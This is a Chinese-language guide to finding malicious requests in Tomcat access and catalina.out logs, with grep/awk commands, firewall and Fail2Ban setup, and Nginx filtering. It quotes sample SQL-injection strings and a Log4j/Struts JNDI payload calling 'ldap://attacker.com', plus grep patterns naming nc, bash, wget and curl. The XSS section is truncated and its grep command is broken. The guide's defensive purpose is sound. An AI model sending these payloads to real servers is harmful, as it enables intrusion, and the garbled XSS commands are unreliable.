在 Tomcat 日志(catalina.out、localhost_access_log.*.txt)中识别 恶意请求,可以从 访问频率、异常请求模式、攻击特征 这几个方面进行分析。以下是一些常见的恶意请求及检测方法:
1. 分析访问日志 (localhost_access_log.*.txt)
Tomcat 访问日志一般存储在:
/var/log/tomcat*/localhost_access_log.*.txt
日志格式类似:
127.0.0.1 - - [10/Feb/2025:12:34:56 +0800] "GET /admin HTTP/1.1" 404 500 "-" "Mozilla/5.0"
查找异常 IP:
如果某个 IP 在短时间内大量访问异常路径,可能是恶意扫描:
awk '{print $1}' /var/log/tomcat*/localhost_access_log.*.txt | sort | uniq -c | sort -nr | head -20
输出示例(访问最多的 IP):
1500 192.168.1.100
1200 203.0.113.45
1100 185.60.216.35
短时间内上千次请求:可能是爬虫、扫描器或攻击脚本。
未知来源的 IP:特别是数据中心 IP 可能用于攻击。
查找可疑 URL:
攻击者常尝试访问 未公开的敏感 URL,如:
后台管理:/admin、/manager/html、/console
文件探测:/.git、/.svn、/WEB-INF/web.xml
暴力破解:/login?user=admin&pass=123456
SQL 注入:/index.php?id=1' or '1'='1'
远程代码执行:/struts2-showcase.action?redirect:${jndi:ldap://attacker.com}
执行:
grep -E 'admin|manager|console|.git|.svn|passwd|config|login' /var/log/tomcat*/localhost_access_log.*.txt | less
识别 SQL 注入:
如果攻击者尝试 SQL 注入,日志中可能出现:
grep -iE 'select|union|from|where|sleep|benchmark' /var/log/tomcat*/localhost_access_log.*.txt
示例:
192.168.1.101 - - [10/Feb/2025:12:40:00 +0800] "GET /index.php?id=1%27%20or%20%271%27%3D%271 HTTP/1.1" 200
如果有 大量 SQL 相关请求,说明有人在测试 SQL 注入。
2. 分析 Tomcat 错误日志 (catalina.out)
Tomcat 运行日志存放在:
/var/log/tomcat*/catalina.out
或者:
$CATALINA_HOME/logs/catalina.out
查找异常 500 错误:
攻击者尝试破坏应用时,可能触发 500 内部服务器错误:
grep "500" /var/log/tomcat*/catalina.out | less
如果同一个 IP 频繁触发 500 错误,可能是恶意攻击。
识别 XSS (跨站脚本):
黑客可能尝试 XSS(跨站脚本攻击),特征:
URL 中包含 HTTP/1.1" 200
执行:
grep -E '
查找远程代码执行 (RCE):
Tomcat 曾受 Struts 2、Log4j 远程代码执行漏洞影响,攻击者可能尝试:
192.168.1.200 - - [10/Feb/2025:12:50:00 +0800] "GET /struts2-showcase.action?redirect:${jndi:ldap://attacker.com}" HTTP/1.1" 200
执行:
grep -E 'jndi|ldap|rmi|exec|cmd|nc|bash|wget|curl' /var/log/tomcat*/localhost_access_log.*.txt
3. 处理恶意请求
屏蔽恶意 IP:
发现恶意 IP 后,可以在 防火墙 直接封禁:
iptables -A INPUT -s 203.0.113.45 -j DROP
或使用 UFW(Ubuntu):
ufw deny from 203.0.113.45
配置 Fail2Ban:
Fail2Ban 可自动封禁攻击 IP:
安装:
sudo apt install fail2ban -y
配置 Tomcat 规则:
sudo nano /etc/fail2ban/jail.local
添加:
[tomcat]
enabled = true
port = 8080,8888
filter = tomcat
logpath = /var/log/tomcat*/localhost_access_log.*.txt
maxretry = 5
bantime = 3600
然后启动:
sudo systemctl restart fail2ban
Nginx 过滤恶意请求:
如果 Tomcat 运行在 Nginx 代理后面,可以在 nginx.conf 添加:
location / {
if ($request_uri ~* "(\.git|passwd|config|admin|console)") {
return 403;
}
}
然后重启:
systemctl restart nginx
在 Tomcat 日志中识别恶意请求,你可以先检查 localhost_access_log 和 catalina.out,看看有没有可疑 IP 或请求路径,再采取相应的防护措施!